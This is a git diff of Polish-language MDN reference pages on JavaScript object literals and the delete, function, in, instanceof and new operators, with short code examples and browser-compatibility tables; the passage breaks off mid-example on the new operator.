+<p>Jeżeli użyjemy w defninicji nazwy <code>__proto__</code> bez używania składni z dwukropkiem, nazwa ta będzie się zachowywać jak kazda inna.</p> + +<pre class="brush: js">var __proto__ = "wartosc"; + +var obj1 = { __proto__ }; +console.log(Object.getPrototypeOf(obj1) === Object.prototype); // true +console.log(obj1.hasOwnProperty("__proto__")); // true +console.log(obj1.__proto__ === "wartosc"); // true + +var obj2 = { __proto__() { return "witaj"; } }; +console.log(obj2.__proto__() === "witaj"); // true + +var obj3 = { ["__prot" + "o__"]: 17 }; +console.log(obj3.__proto__ === 17); // true +</pre> + +<h2 id="Notacja_literałowa_vs_JSON">Notacja literałowa vs JSON</h2> + +<p>Notacja literałowa to nie to samo co <strong>J</strong>ava<strong>S</strong>cript <strong>O</strong>bject <strong>N</strong>otation (<a href="/pl/docs/Glossary/JSON">JSON</a>). Pomimo, że wyglądają podobnie, są miedzy nimi poważne różnice:</p> + +<ul> + <li>JSON dopuszcza tylko składnie <code>"wlasnosc": wartosc</code>. Nazwa własności musi być w cudzysłowie, a defnicja nie może być skrócona.</li> + <li>W JSON wartościami moga być tylko string'i, liczby, tablice, <code>true</code>, <code>false</code>, <code>null</code>, lub inny obiekt JSON.</li> + <li>Funkcja nie może być przypisana do wartości w JSON.</li> + <li>Obiekty jak {{jsxref("Date")}} zostaną zamienione na string po użyciu {{jsxref("JSON.parse()")}}.</li> + <li>{{jsxref("JSON.parse()")}} odrzuni obliczone nazwy zmiennych oraz wyrzuci błąd.</li> +</ul> + +<h2 id="Specyfikacje">Specyfikacje</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{SpecName('ES1')}}</td> + <td>{{Spec2('ES1')}}</td> + <td>Początkowa definicja.</td> + </tr> + <tr> + <td>{{SpecName('ES5.1', '#sec-11.1.5', 'Object Initializer')}}</td> + <td>{{Spec2('ES5.1')}}</td> + <td>Dodano metody <a href="/en-US/docs/Web/JavaScript/Reference/Functions/get">getter</a> oraz <a href="/en-US/docs/Web/JavaScript/Reference/Functions/set">setter</a>.</td> + </tr> + <tr> + <td>{{SpecName('ES6', '#sec-object-initializer', 'Object Initializer')}}</td> + <td>{{Spec2('ES6')}}</td> + <td>Skrócone nazwy właściwości/metod oraz obliczone nazwy właściwości.</td> + </tr> + <tr> + <td>{{SpecName('ESDraft', '#sec-object-initializer', 'Object Initializer')}}</td> + <td>{{Spec2('ESDraft')}}</td> + <td> </td> + </tr> + </tbody> +</table> + +<h2 id="Kompatybilność_z_przeglądarkami">Kompatybilność z przeglądarkami</h2> + +<div>{{CompatibilityTable}}</div> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Chrome</th> + <th>Firefox (Gecko)</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{CompatChrome(1.0)}}</td> + <td>{{CompatGeckoDesktop("1.0")}}</td> + <td>1</td> + <td>1</td> + <td>1</td> + </tr> + <tr> + <td>Computed property names</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatGeckoDesktop("34")}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>7.1</td> + </tr> + <tr> + <td>Shorthand property names</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatGeckoDesktop("33")}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + </tr> + <tr> + <td>Shorthand method names</td> + <td>{{CompatChrome(42.0)}}</td> + <td>{{CompatGeckoDesktop("34")}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Android</th> + <th>Android Webview</th> + <th>Firefox Mobile (Gecko)</th> + <th>IE Mobile</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + <th>Chrome for Android</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatGeckoMobile("1.0")}}</td> + <td>1</td> + <td>1</td> + <td>1</td> + <td>{{CompatChrome(1.0)}}</td> + </tr> + <tr> + <td>Computed property names</td> + <td>{{CompatNo}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatGeckoMobile("34")}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + </tr> + <tr> + <td>Shorthand property names</td> + <td>{{CompatNo}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatGeckoMobile("33")}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + </tr> + <tr> + <td>Shorthand method names</td> + <td>{{CompatNo}}</td> + <td>{{CompatChrome(42.0)}}</td> + <td>{{CompatGeckoMobile("34")}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatChrome(42.0)}}</td> + </tr> + </tbody> +</table> +</div> + +<h2 id="Zobacz_również">Zobacz również</h2> + +<ul> + <li><a href="/pl/docs/Web/JavaScript/Reference/Operators/Property_Accessors">Operatory pamięci</a></li> + <li><code><a href="/pl/docs/Web/JavaScript/Reference/Functions/get">get</a></code> / <code><a href="/pl/docs/Web/JavaScript/Reference/Functions/set">set</a></code></li> + <li><a href="/pl/docs/Web/JavaScript/Reference/Functions/Method_definitions">Definicje metod</a></li> + <li><a href="/pl/docs/Web/JavaScript/Reference/Lexical_grammar">Gramatyka leksykalna</a></li> +</ul> diff --git a/files/pl/web/javascript/referencje/operatory/operator_delete/index.html b/files/pl/web/javascript/referencje/operatory/operator_delete/index.html new file mode 100644 index 0000000000..d2a3679804 --- /dev/null +++ b/files/pl/web/javascript/referencje/operatory/operator_delete/index.html @@ -0,0 +1,74 @@ +--- +title: Operator delete +slug: Web/JavaScript/Referencje/Operatory/Operator_delete +tags: + - JavaScript +translation_of: Web/JavaScript/Reference/Operators/delete +--- +<div>{{jsSidebar("Operators")}}</div> + +<p>Operator delete usuwa obiekt, własność obiektu lub element w określonym indeksie w tablicy.</p> + +<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2> + +<pre class="syntaxbox">delete <em> nazwaObiektu</em> +</pre> + +<pre class="syntaxbox">delete <em>nazwaObiektu.własność</em> +delete <em>nazwaObiektu</em>['<code><em>własność</em>'</code>] +</pre> + +<h3 id="Parametry" name="Parametry">Parametry</h3> + +<dl> + <dt><code>nazwaObiektu</code></dt> + <dd>Nazwa obiektu.</dd> +</dl> + +<dl> + <dt><code>własność</code></dt> + <dd>Własność do usunięcia.</dd> +</dl> + +<h2 id="Opis" name="Opis">Opis</h2> + +<p>Czwarta forma jest dozwolona tylko wewnątrz instrukcji <code>with</code> w celu usunięcia własności z obiektu.</p> + +<p>Możesz użyć operatora <code>delete</code>, aby usunąć zmienne zadeklarowane bezpośrednio, jednak nie możesz usunąć zmiennych zadeklarowanych za pomocą instrukcji <code>var</code>.</p> + +<p>Jeśli operator <code>delete</code> zadziała prawidłowo, ustawi on własność lub element jako <code>undefined</code> (niezdefiniowany). Operator <code>delete</code> zwraca wartość true (prawda), jeśli operacja jest możliwa, zaś wartość <code>false</code> (fałsz), gdy operacja nie jest możliwa.</p> + +<pre class="brush: js">x = 42; +var y = 43; +myobj = new Number(); +myobj.h = 4; // tworzy własność h +delete x; // zwraca true (można usuwać, jeśli zadeklarowano bezpośrednio) +delete y; // zwraca false (nie można usuwać, jeśli zadeklarowano za pomocą var) +delete Math.PI; // zwraca false (nie można usuwać własności predefiniowanych) +delete myobj.h; // zwraca true (można usuwać własności zdefiniowane przez użytkownika) +delete myobj; // zwraca true (można usuwać obiekty) +</pre> + +<h3 id="Usuwanie_element.C3.B3w_tablicy" name="Usuwanie_element.C3.B3w_tablicy">Usuwanie elementów tablicy</h3> + +<p>Gdy usuwasz element tablicy nie ma to wpływu na jej długość. Na przykład: jeśli usuniesz a{{ mediawiki.external(3) }}, a{{ mediawiki.external(4) }} będzie wciąż a{{ mediawiki.external(4) }}, natomiast a{{ mediawiki.external(3) }} będzie niezdefiniowane.</p> + +<p>Gdy operator <code>delete</code> usuwa element tablicy, element ten przestaje już w niej istnieć. W poniższym przykładzie drzewa{{ mediawiki.external(3) }} jest usunięte za pomocą <code>delete</code>.</p> + +<pre class="brush: js">drzewa = new Array("sekwoja","wawrzyn","cedr","dąb","klon"); +delete drzewa[3]; +if (3 in drzewa) { + // to nie zostanie wykonane +} +</pre> + +<p>Jeśli chcesz, aby element tablicy nadal istniał, ale posiadał wartość niezdefiniowaną, użyj słowa kluczowego <code>undefined</code> zamiast operatora <code>delete</code>. W poniższym przykładzie, drzewa{{ mediawiki.external(3) }} jest przypisana wartość niezdefiniowana, ale element tablicy nadal istnieje:</p> + +<pre class="brush: js">drzewa = new Array("sekwoja","wawrzyn","cedr","dąb","klon"); +drzewa[3] = undefined; +if (3 in drzewa) { + // to zostanie wykonane +} +</pre> + +<div class="noinclude"> </div> diff --git a/files/pl/web/javascript/referencje/operatory/operator_function/index.html b/files/pl/web/javascript/referencje/operatory/operator_function/index.html new file mode 100644 index 0000000000..1d13d1a3c0 --- /dev/null +++ b/files/pl/web/javascript/referencje/operatory/operator_function/index.html @@ -0,0 +1,144 @@ +--- +title: Operator function +slug: Web/JavaScript/Referencje/Operatory/Operator_function +tags: + - Dokumentacja_JavaScript + - Dokumentacje + - JavaScript + - Wszystkie_kategorie +translation_of: Web/JavaScript/Reference/Operators/function +--- +<p> </p> + +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> + +<p>Operator <code>function</code> jest używany do definiowania funkcji wewnątrz wyrażenia.</p> + +<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2> + +<pre class="eval">function [<em>nazwa</em>]([<em>argument1[</em>, <em>argument2[</em>, ..., <em>argumentN</em>]]]) { <em>instrukcje </em>} +</pre> + +<h3 id="Parametry" name="Parametry">Parametry</h3> + +<dl> + <dt><code>nazwa</code></dt> + <dd>Nazwa funkcji. Może zostać pominięta, w takim wypadku funkcja staje się anonimowa. Nazwa jest tylko lokalna i istnieje wewnętrz funkcji.</dd> +</dl> + +<dl> + <dt><code>argumentN</code></dt> + <dd>Nazwa argumentu, który ma zostać przekazany do funkcji. Funkcja może posiadać do 255 argumentów.</dd> +</dl> + +<dl> + <dt><code>instrukcje</code></dt> + <dd>Instrukcje, które stanowią ciało funkcji.</dd> +</dl> + +<h2 id="Opis" name="Opis">Opis</h2> + +<p>Wyrażenie funkcji jest bardzo podobne do deklaracji funkcji i posiada niemal identyczną składnię (zobacz <a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Polecenia/function">function</a>, aby uzyskać bardziej szczegółowe informacje). Główną różnicą pomiędzy wyrażeniem a definicją jest <em>nazwa funkcji, </em>która może zostać pominięta i utworzyć funkcję<em> anonimową</em>. Zobacz <a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Funkcje">Funkcje</a>, aby uzyskać informacje o różnicach między instrukcjami funkcji a wyrażeniami funkcji.</p> + +<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2> + +<p>Poniższy przykład definiuje nienazwaną funkcję i przypisują ją do <code>x</code>. Funkcja zwraca kwadrat jej argumentów:</p> + +<pre>var x = function(y) { + return y * y; +}; +</pre> + +<h3 id="Nazwane_wyrażenie">Nazwane wyrażenie</h3> + +<pre><code>var math = { + 'factorial': function factorial(n) { + if (n <= 1) + return 1; + return n * factorial(n - 1); + } +};</code></pre> + +<h2 id="Specyfikacja">Specyfikacja</h2> + +<table> + <tbody> + <tr> + <th scope="col">Specyfikacja</th> + <th scope="col">Status</th> + <th scope="col">Komentarze</th> + </tr> + <tr> + <td>{{SpecName('ESDraft', '#sec-function-definitions', 'Function definitions')}}</td> + <td>{{Spec2('ESDraft')}}</td> + <td> </td> + </tr> + <tr> + <td>{{SpecName('ES6', '#sec-function-definitions', 'Function definitions')}}</td> + <td>{{Spec2('ES6')}}</td> + <td> </td> + </tr> + <tr> + <td>{{SpecName('ES5.1', '#sec-13', 'Function definition')}}</td> + <td>{{Spec2('ES5.1')}}</td> + <td> </td> + </tr> + <tr> + <td>{{SpecName('ES3', '#sec-13', 'Function definition')}}</td> + <td>{{Spec2('ES3')}}</td> + <td>Zaimplementowano w JavaScript 1.5.</td> + </tr> + </tbody> +</table> + +<h2 id="Wsparcie_przeglądarek">Wsparcie przeglądarek</h2> + +<p>{{CompatibilityTable}}</p> + +<table> + <tbody> + <tr> + <th>Feature</th> + <th>Chrome</th> + <th>Firefox (Gecko)</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + </tbody> +</table> + +<table> + <tbody> + <tr> + <th>Feature</th> + <th>Android</th> + <th>Chrome for Android</th> + <th>Firefox Mobile (Gecko)</th> + <th>IE Mobile</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + </tbody> +</table> + +<h2 id="Zobacz_także">Zobacz także</h2> + +<p><code><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Funkcje">Funkcje</a></code>, <code><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/Function">Function</a></code>, <code><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Polecenia/function">Polecenie function</a></code></p> diff --git a/files/pl/web/javascript/referencje/operatory/operator_in/index.html b/files/pl/web/javascript/referencje/operatory/operator_in/index.html new file mode 100644 index 0000000000..0a8ef0f068 --- /dev/null +++ b/files/pl/web/javascript/referencje/operatory/operator_in/index.html @@ -0,0 +1,92 @@ +--- +title: Operator in +slug: Web/JavaScript/Referencje/Operatory/Operator_in +tags: + - Dokumentacja_JavaScript + - Dokumentacje + - JavaScript + - Wszystkie_kategorie +translation_of: Web/JavaScript/Reference/Operators/in +--- +<p> </p> +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> +<p>Operator <code>in</code> zwraca wartość <code>true</code> (prawda), jeśli określona własność jest w określonym obiekcie.</p> +<table class="fullwidth-table"> + <tbody> + <tr> + <td class="header" colspan="2">Operator</td> + </tr> + <tr> + <td>Zaimplementowany w:</td> + <td>JavaScript 1.4</td> + </tr> + </tbody> +</table> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> +<p><code> + <i> + propNameOrNumber</i> + in + <i> + objectName</i> + </code></p> +<h3 id="Parametry" name="Parametry">Parametry</h3> +<dl> + <dt> + <code>propNameOrNumber</code></dt> + <dd> + Łańcuch znaków lub wartość liczbowa reprezentujące nazwę własności lub indeks tablicy.</dd> +</dl> +<dl> + <dt> + <code>objectName</code></dt> + <dd> + Nazwa obiektu.</dd> +</dl> +<h3 id="Opis" name="Opis">Opis</h3> +<p>Poniższe przykłady pokazują wybrane sposoby użycia operatora <code>in</code>.</p> +<pre>// Tablice +trees=new Array("redwood","bay","cedar","oak","maple") +0 in trees // zwraca true +3 in trees // zwraca true +6 in trees // zwraca false +"bay" in trees // zwraca false (musisz określić numer indeksu, + // nie wartość w tym indeksie) +"length" in trees // zwraca true (length jest własnością tablicy Array) + +// Obiekty predefiniowane +"PI" in Math // zwraca true +myString=new String("coral") +"length" in myString // zwraca true + +// Custom objects +mycar = {make:"Honda",model:"Accord",year:1998} +"make" in mycar // zwraca true +"model" in mycar // zwraca true +</pre> +<p>Musisz określić obiekt z prawej strony operatora <code>in</code>. Na przykład: możesz określić łańcuch znaków stworzony za pomocą konstruktora <code>String</code>, ale nie możesz określić łańcucha znaków wprost.</p> +<pre>color1=new String("green") +"length" in color1 // zwraca true +color2="coral" +"length" in color2 // generuje błąd (color nie jest obiektem typu String) +</pre> +<h4 id="Zastosowanie_in_z_usuni.C4.99tymi_lub_niezdefiniowanymi_w.C5.82asno.C5.9Bciami" name="Zastosowanie_in_z_usuni.C4.99tymi_lub_niezdefiniowanymi_w.C5.82asno.C5.9Bciami">Zastosowanie <code>in</code> z usuniętymi lub niezdefiniowanymi własnościami</h4> +<p>Jeśli usuniesz własność za pomocą operatora <code><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Operatory/Operatory_specjalne/Operator_delete">delete</a></code>, operator <code>in</code> zwróci wartość false (fałsz) dla tej własności.</p> +<pre>mycar = {make:"Honda",model:"Accord",year:1998} +delete mycar.make +"make" in mycar // zwraca false + +trees=new Array("redwood","bay","cedar","oak","maple") +delete trees[3] +3 in trees // zwraca false +</pre> +<p>Jeśli ustalisz własność jako niezdefiniowaną, ale nie usuniesz jej, operator <code>in</code> zwróci wartość true (prawda) dla tej własności.</p> +<pre>mycar = {make:"Honda",model:"Accord",year:1998} +mycar.make=undefined +"make" in mycar // zwraca true + +trees=new Array("redwood","bay","cedar","oak","maple") +trees[3]=undefined +3 in trees // zwraca true +</pre> +<p>Aby uzyskać dodatkowe informacje o zastosowaniu operatora <code>in</code> z usuniętymi elementami tablicy, zobacz <a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Operatory/Operatory_specjalne/Operator_delete">delete</a>.</p> diff --git a/files/pl/web/javascript/referencje/operatory/operator_instanceof/index.html b/files/pl/web/javascript/referencje/operatory/operator_instanceof/index.html new file mode 100644 index 0000000000..d9b83cd838 --- /dev/null +++ b/files/pl/web/javascript/referencje/operatory/operator_instanceof/index.html @@ -0,0 +1,168 @@ +--- +title: Operator instanceof +slug: Web/JavaScript/Referencje/Operatory/Operator_instanceof +tags: + - Dokumentacja_JavaScript + - Dokumentacje + - JavaScript + - Strony_wymagające_dopracowania + - Wszystkie_kategorie +translation_of: Web/JavaScript/Reference/Operators/instanceof +--- +<div>{{jsSidebar("Operators")}}</div> + +<p><strong>Operator</strong> <strong><code>instanceof</code> </strong>sprawdza czy właściwość konstruktora <code>prototype</code> pojawia się gdziekolwiek w łańcuchu prototypowym obiektu.</p> + +<p>{{EmbedInteractiveExample("pages/js/expressions-instanceof.html")}}</p> + + + +<h2 id="Składnia">Składnia</h2> + +<pre class="syntaxbox"><em>object</em> instanceof <em>constructor</em></pre> + +<dl> + <dt> + <h3 id="Parametry">Parametry</h3> + <code>object</code></dt> + <dd>Obiekt do testowania.</dd> +</dl> + +<dl> + <dt><code>constructor</code></dt> + <dd>Funkcja przeciwko której testujemy.</dd> +</dl> + +<h2 id="Opis">Opis</h2> + +<p>Operator <code>instanceof</code> sprawdza obecność <code>constructor.prototype</code> w łańcuchu prototypowym obiektu <code>object</code></p> + +<pre class="brush: js">// definiowanie konstruktorów +function C() {} +function D() {} + +var o = new C(); + +// true, ponieważ: Object.getPrototypeOf(o) === C.prototype +o instanceof C; + +// false, ponieważ D.prototype nie występuje w łańcuchu prototypowym o. +o instanceof D; + +o instanceof Object; // true, ponieważ: +C.prototype instanceof Object // true + +C.prototype = {}; +var o2 = new C(); + +o2 instanceof C; // true + +// false, ponieważ C.prototype nie ma już w łańcuchu prototypowym o +o instanceof C; + +D.prototype = new C(); // add C to [[Prototype]] linkage of D +var o3 = new D(); +o3 instanceof D; // true +o3 instanceof C; // true since C.prototype is now in o3's prototype chain +</pre> + +<p>Note that the value of an <code>instanceof</code> test can change based on changes to the <code>prototype</code> property of constructors, and it can also be changed by changing an object prototype using <code>Object.setPrototypeOf</code>. It is also possible using the non-standard <code>__proto__</code> pseudo-property.</p> + +<h3 id="instanceof_and_multiple_context_(e.g._frames_or_windows)"><code>instanceof</code> and multiple context (e.g. frames or windows)</h3> + +<p>Different scopes have different execution environments. This means that they have different built-ins (different global object, different constructors, etc.). This may result in unexpected results. For instance, <code>[] instanceof window.frames[0].Array</code> will return <code>false</code>, because <code>Array.prototype !== </code><code>window.frames[0].Array</code> and arrays inherit from the former.</p> + +<p>This may not make sense at first but when you start dealing with multiple frames or windows in your script and pass objects from one context to another via functions, this will be a valid and strong issue. For instance, you can securely check if a given object is, in fact, an Array using <code>Array.isArray(myObj)</code></p> + +<p>For example checking if a <a href="/en-US/docs/Web/API/Node">Nodes</a> is a <a href="/en-US/docs/Web/API/SVGElement">SVGElement</a> in a different context you can use <code>myNode instanceof myNode.ownerDocument.defaultView.SVGElement</code></p> + +<div class="note"><strong>Note for Mozilla developers:</strong><br> +In code using XPCOM <code>instanceof</code> has special effect: <code>obj instanceof </code><em><code>xpcomInterface</code></em> (e.g. <code>Components.interfaces.nsIFile</code>) calls <code>obj.QueryInterface(<em>xpcomInterface</em>)</code> and returns <code>true</code> if QueryInterface succeeded. A side effect of such call is that you can use <em><code>xpcomInterface</code></em>'s properties on <code>obj</code> after a successful <code>instanceof</code> test. Unlike standard JavaScript globals, the test <code>obj instanceof xpcomInterface</code> works as expected even if <code>obj</code> is from a different scope.</div> + +<h2 id="Examples">Examples</h2> + +<h3 id="Demonstrating_that_String_and_Date_are_of_type_Object_and_exceptional_cases">Demonstrating that <code>String</code> and <code>Date</code> are of type <code>Object</code> and exceptional cases</h3> + +<p>The following code uses <code>instanceof</code> to demonstrate that <code>String</code> and <code>Date</code> objects are also of type <code>Object</code> (they are derived from <code>Object</code>).</p> + +<p>However, objects created with the object literal notation are an exception here: Although the prototype is undefined, <code>instanceof Object</code> returns <code>true</code>.</p> + +<pre class="brush: js">var simpleStr = 'This is a simple string'; +var myString = new String(); +var newStr = new String('String created with constructor'); +var myDate = new Date(); +var myObj = {}; + +simpleStr instanceof String; // returns false, checks the prototype chain, finds undefined +myString instanceof String; // returns true +newStr instanceof String; // returns true +myString instanceof Object; // returns true + +myObj instanceof Object; // returns true, despite an undefined prototype +({}) instanceof Object; // returns true, same case as above + +myString instanceof Date; // returns false + +myDate instanceof Date; // returns true +myDate instanceof Object; // returns true +myDate instanceof String; // returns false +</pre> + +<h3 id="Demonstrating_that_mycar_is_of_type_Car_and_type_Object">Demonstrating that <code>mycar</code> is of type <code>Car</code> and type <code>Object</code></h3> + +<p>The following code creates an object type <code>Car</code> and an instance of that object type, <code>mycar</code>. The <code>instanceof</code> operator demonstrates that the <code>mycar</code> object is of type <code>Car</code> and of type <code>Object</code>.</p> + +<pre class="brush: js">function Car(make, model, year) { + this.make = make; + this.model = model; + this.year = year; +} +var mycar = new Car('Honda', 'Accord', 1998); +var a = mycar instanceof Car; // returns true +var b = mycar instanceof Object; // returns true +</pre> + +<h2 id="Specifications">Specifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{SpecName('ESDraft', '#sec-relational-operators', 'Relational Operators')}}</td> + <td>{{Spec2('ESDraft')}}</td> + <td> </td> + </tr> + <tr> + <td>{{SpecName('ES6', '#sec-relational-operators', 'Relational Operators')}}</td> + <td>{{Spec2('ES6')}}</td> + <td> </td> + </tr> + <tr> + <td>{{SpecName('ES5.1', '#sec-11.8.6', 'The instanceof operator')}}</td> + <td>{{Spec2('ES5.1')}}</td> + <td> </td> + </tr> + <tr> + <td>{{SpecName('ES3', '#sec-11.8.6', 'The instanceof operator')}}</td> + <td>{{Spec2('ES3')}}</td> + <td>Initial definition. Implemented in JavaScript 1.4.</td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility">Browser compatibility</h2> + + + +<p>{{Compat("javascript.operators.instanceof")}}</p> + +<h2 id="See_also">See also</h2> + +<ul> + <li><code><a href="/en-US/docs/Web/JavaScript/Reference/Operators/typeof" title="/en-US/docs/JavaScript/Reference/Operators/typeof">typeof</a></code></li> + <li>{{jsxref("Symbol.hasInstance")}}</li> +</ul> diff --git a/files/pl/web/javascript/referencje/operatory/operator_new/index.html b/files/pl/web/javascript/referencje/operatory/operator_new/index.html new file mode 100644 index 0000000000..e6153d3a69 --- /dev/null +++ b/files/pl/web/javascript/referencje/operatory/operator_new/index.html @@ -0,0 +1,183 @@ +--- +title: Operator new +slug: Web/JavaScript/Referencje/Operatory/Operator_new +tags: + - Dokumentacja_JavaScript + - Dokumentacje + - JavaScript + - Strony_wymagające_dopracowania + - Wszystkie_kategorie +translation_of: Web/JavaScript/Reference/Operators/new +--- +<div>{{jsSidebar("Operators")}}</div> + +<p><strong>Operator</strong><strong> <code>new</code> </strong>tworzy nową instancję typu obiektu zdenifiowanego przez użytkownika lub instancję wbudowanego typu obiektu, który posiada konstruktor.</p> + +<div>{{EmbedInteractiveExample("pages/js/expressions-newoperator.html")}}</div> + + + +<h2 id="Składnia">Składnia</h2> + +<pre class="syntaxbox notranslate">new <em>constructor</em>[([<em>arguments</em>])]</pre> + +<h3 id="Parametry">Parametry</h3> + +<dl> + <dt><code>constructor</code></dt> + <dd>Klasa bądź funkcja, która definiuje typ obiektu instancji.</dd> +</dl> + +<dl> + <dt><code>arguments</code></dt> + <dd>Lista wartości z którymi zostanie wywołany <code>constructor</code>.</dd> +</dl> + +<h2 id="Opis">Opis</h2> + +<p>Tworzenie obiektu przez zdefiniowanego przez użytkownika przebiega w dwóch krokach:</p> + +<ol> + <li>Zdefiniowanie typu obiektu poprzez napisanie funkcji.</li> + <li>Tworzenie jego instancji przy użyciu słowa kluczowego <code>new</code>.</li> +</ol> + +<p>Aby zdefiniować typ obiektu, stwórz funkcję dla tego typu, która określa jego nazwę i właściwości. Obiekt może mieć właściwość, której wartością jest on sam lub inny obiekt. Spójrz na przykłady poniżej</p> + +<p>Kiedy wykonywaniy jest kod <code>new <em>Foo</em>(...)</code>, dzieją się następujące rzeczy:</p> + +<ol> + <li>Tworzeny jest nowy obiekt, dzidziczący po <code><em>Foo</em>.prototype</code>.</li> + <li>Wywoływany jest konstruktor <em><code>Foo</code></em> z określonymi argumentami, a kontekst <code><a href="/en-US/docs/Web/JavaScript/Reference/Operators/this">this</a></code> zostaje przypisany do nowo utworzonego obiektu. <code>new <em>Foo</em></code> jest równoznaczne z <code>new </code><em><code>Foo</code></em><code>()</code>, tzn. w przypadku gdy lista argumentów jst nieokreślona, <em><code>Foo</code></em> jest wywoływane bez argumentów.</li> + <li>Obiekt zwrócony przez konstruktor staje się wynikiem całego wyrażenia <code>new</code>. Jeżeli konstruktor nie zwraca obiektu, obiekt stworzony w kroku 1 jest używany zamiast niego. (Zwykle kontruktory nie zwracają żadnej wartości, ale mogą tak czynić jeśli chcą nadpiać normalny proces tworzenia obiektu.)</li> +</ol> + +<p>Zawsze można dodać właściwość do wcześniej stworzonego obiektu. Na przykład, wyrażenie <code>car1.color = "black"</code> dodaje właściwość <code>color</code> do <code>car1</code>, przypisuje mu wartość "<code>black</code>". Jednakże, nie wpływa to w żaden sposób na inne obiekty. Aby dodać właściwość do wszystkich obiektów tego samego typu, trzeba dodać tę właściwość do definicji typu obiektu <code>Car</code>.</p> + +<p>Można dodać wspólną właściwość do wcześniej zdefiniowanego typu obiektu korzystając z właściwości <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/prototype">Function.prototype</a></code>. Definiuje ona wspólną właściwość dla wszystkich obiektów tego typu, a nie charakterystyczną dla instancji typu obiektu. Następujący kod dodaje właściwość <code>color</code> o wartości <code>null</code> do wszystkich obiektów typu <code>Car</code>, a następnie znienia tę wartość tylko w obiekcie <code>car1</code> na łańcuch "<code>black</code>" . Po więcej informacji, zobacz <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/prototype">prototype</a>.</p> + +<pre class="brush: js notranslate">function Car() {} +car1 = new Car(); + +console.log(car1.color); // undefined + +Car.prototype.color = null; +console.log(car1.color); // null + +car1.color = 'black'; +console.log(car1.color); // black +</pre> + +<h2 id="Przykłady">Przykłady</h2> + +<h3 id="Typ_obiektu_i_jego_instancja">Typ obiektu i jego instancja</h3> + +<p>Przypuśćmy, że chcesz stworzyś typ obiektu dla aut. Chcesz, żeby był nazwany <code>car</code> i by miał właściwości <code>make</code>, <code>model</code> i <code>year</code>. Żeby to osiągnąć należy stworzyć następującą funkcję:</p> + +<pre class="brush: js notranslate">function Car(make, model, year) { + this.make = make; + this.model = model; + this.year = year; +} +</pre> + +<p>Teraz można stworzyć obiekt <code>mycar</code>:</p> + +<pre class="brush: js notranslate">var mycar = new Car('Eagle', 'Talon TSi', 1993); +</pre> + +<p>Powyższy kod deklaruje zmienną <code>mycar</code> i przypisuje do niej określone właściwości. Wartość <code>mycar.make</code> to łańcuch "Eagle", <code>mycar.year</code> to liczba 1993 itd.</p> + +<p>Można stworzyć nieograniczoną ilość obiektów <code>Car</code> poprzez słowo kluczowe <code>new</code>. Na przykład:</p> + +<pre class="brush: js notranslate">var kenscar = new Car('Nissan', '300ZX', 1992); +</pre> + +<h3 id="Właściwość_obiektu_będąca_innym_obiektem">Właściwość obiektu, będąca innym obiektem</h3> + +<p>Przypuśćmy, że definiujemy typ obiektu <code>Person</code> jak poniżej:</p> + +<pre class="brush: js notranslate">function Person(name, age, sex) { + this.name = name; + this.age = age; + this.sex = sex; +} +</pre> + +<p>A następnie tworzymy dwa obiekty <code>Person</code>:</p> + +<pre class="brush: js notranslate">var rand = new 